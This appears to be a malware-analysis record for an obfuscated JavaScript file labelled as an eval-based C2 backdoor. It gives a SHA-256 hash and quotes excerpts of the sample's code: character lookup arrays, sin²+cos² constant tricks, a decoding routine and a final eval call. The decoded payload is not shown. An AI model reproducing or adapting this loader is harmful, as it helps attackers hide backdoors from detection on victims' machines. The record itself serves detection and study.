20151217_80c425b32437862e2c0186484867bff4.js
obfuscated eval C2 backdoor
Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256ad1104b5800e2b16e33e221f04aa9e9b6fb22bde57811fa45ddfc358932ef5a5
MaleculeO₂(As₄C)H₂(Db₂Po)
Evidence
2:146… 'G','=','y','3','<','t','k','t','j','.',',','[','8','$',']',':',String.fromCharCode(10),'U','Y',']','g','j','!','p',';','Z',')','C','<','N','Q','q',String.fromCharCode(13),'Q','L','o','8','/','4','`','[','l','2' …
2:778… 'O','G','$','(','U','$','%','v','6','&','6','_','5',')','3','&',String.fromCharCode(39),'?','1','(','.',']','6','9','_','C',')','T','V','.','7','@','*','R','*','M','+','j','N','H',',',']','(',',','j','!','-','0','.','6','T','"','l','/','e','#','^','#',']','-','0','Y','F','y','?','M','h','1','q','2','o','e','.','M','9',')','3','d','4','Z','u','U','A','x','5','$','a','<','@ …
2:2298… 'n','E','$','o','m','j',']','.','2','0','w','p','$','2','d','q','o','3','F','*','r','!','V',')','{','*','s','r','g','t','s','o','U','e',' ','u',',','[','x','G','5','v','G','0','w','r','Q','=','J','x','v','r','k',':','$','J','y','!','%','(','z','V','G','x','{',')','@','A','T','G','|','y','2','f','v','M','M','}','~','1','g',',','Y','z',';','Q','w','r','L','m','M','*','(','7','B','(','%','_'];
3function Z(hInZavlgBxJq,WDXKdyzHunJARy){hInZavlgBxJq.push(WDXKdyzHunJARy);}
4function DCcPV(cmeLdlUKFQB,ZLZChpwIurplU,AspecDqM){wcWQ=fxguFwnGYseCIfUPB(cmeLdlUKFQB,ZLZChpwIurplU);lHpFZ=wcWQ.toString(AspecDqM);return lHpFZ;}
5function vFuExAngyXxmzuB(aCPhXuCOjkFqycifQ,eUJYwKttAVDtTNNMaBFKupvayfupWyMrDG,AocIrmqhQzNzLDVcbrkFBrgpZELUTzwPjIm){eval(aCPhXuCOjkFqycifQ);}
6function ZncPygscSXHYZKrJKrSLeJNNkWPPGSuWVWNcrnMMqYSnsOFWYmkAlI(VZljpFRvObgSm,GgRVNsjFQBsIzy){ return ePfZYCE[rrmFAkPu[DCcPV(VZljpFRvObgSm[GgRVNsjFQBsIzy],(26383+357)/955,(3655+855)/451)]];}
7function jDpUrNi(WtVolRluggOvrlIiaYTLBmejDVrAplMrulVD) {return !zPZwuInFVvy(kRsuWOCoXECvozf(WtVolRluggOvrlIiaYTLBmejD …
12:33… dFCnsnH,uGuBfGyxPOI) {qqVxnYIdMUHAyu[nAPFxJdFCnsnH]=uGuBfGyxPOI;}
13var E = new Array();E[0]=[];E[0][0]='d';E[0][1]='a';E[0][2]='d';E[0][3]='a';E[0][4]='46';E[0][5]='3d';E[0][6]='42';E[0][7]='14';E[0][8]='3e';E[0][9]='14';E[0][10]='25';E[0][11]='14';E[0][12]='16';E[0][13]='47';E[0][14]='3k';E[0][15]='3d';E[0][16]='44';E[0][17]='3g';E[0][18]='3l';E[0][19]='3g';E[0][20]='49';E[0][21]='3 …
19:30… ],E[4],E[5]];
20var ZuIfOocZk=[];
21function ehYNUOuJByLdwYhrA(WtxsG){lYIpXMtdBqD= '';KBEpUcYqJiw=Math.round((Math.pow(Math.sin(676), 2) + Math.pow(Math.cos(676), 2) - 1));while(true){if (KBEpUcYqJiw >= (2929+257)/531){break;}ZuIfOocZk[KBEpUcYqJiw]=Math.round((Math.pow(Math.sin(501), 2) + Math.pow(Math.cos(501), 2) - 1)); while(true) { if(ZuIfOocZk[KBEpUcYqJiw] > WtxsG[KBEpUcYqJiw].length-(297+68)/365) { break; } if (jDpUrNi(DCcPV(WtxsG[KBEpUcYqJiw][ZuIfOocZk[KBEpUcYqJiw]],(27091+461)/984,(3186+274)/346))) {lYIpXMtdBqD += ZncPygscSXHYZKrJKrSLeJNNkWPPGSuWVWNcrnMMqYSnsOFWYmkAlI([WtxsG[KBEpUcYqJiw][ZuIfOocZk[KBEpUcYqJiw]]], Math.round((Math.pow(Math.sin(923), 2) + Math.pow(Math.cos(923), 2) - 1)));} ZuIfOocZk[KBEpUcYqJiw]++;}KBEpUcYqJiw++;} return lYIpXMtdBqD}
22var VkzvxZmkLOIWzfsVnOwkmacxpDKVDptCw = 'rSmCuonnbIYAnnRhGqAyfnXBZeUbGAoShapb';var zyVnxoPwCeYvgRolHOWxoCtiZJbvLTDB = 'PUwJUPUZrSQavqTzKzzZdbsuYDuHpNSxHnEI';vFuExAngyXxmzuB(ehYNUOuJByLdwYhrA(WtxsG),VkzvxZmkLOIWzfsVnOwkmacxpDKVDptCw,zyVnxoPwCeYvgRolHOWxoCtiZJbvLTDB);